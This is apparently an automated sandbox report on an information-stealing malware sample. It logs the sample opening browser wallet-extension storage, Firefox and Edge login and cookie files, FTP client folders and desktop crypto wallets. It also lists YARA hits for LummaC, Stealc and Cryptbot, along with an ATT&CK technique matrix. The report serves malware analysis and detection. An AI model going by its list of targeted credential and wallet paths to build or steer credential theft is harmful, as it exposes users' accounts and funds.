Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB

Source: Yara match	File source: 00000016.00000003.2817573119.0000000000552000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2748385585.000000000054D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2681910564.0000000000548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2688478544.0000000000548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2716869243.000000000054C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2717394280.0000000000548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2752550662.000000000054D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2716099922.000000000054A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2751030367.000000000054D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2683265747.000000000054B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2754496805.000000000054D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2719643130.0000000000548000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 7632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 4428, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 36321ea525.exe PID: 7296, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 7632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 4428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000008.00000003.2491430724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2696170160.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2795135342.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2788626873.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2532205314.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9b8665be8a.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	12 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	1 DLL Side-Loading	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	381 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	381 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
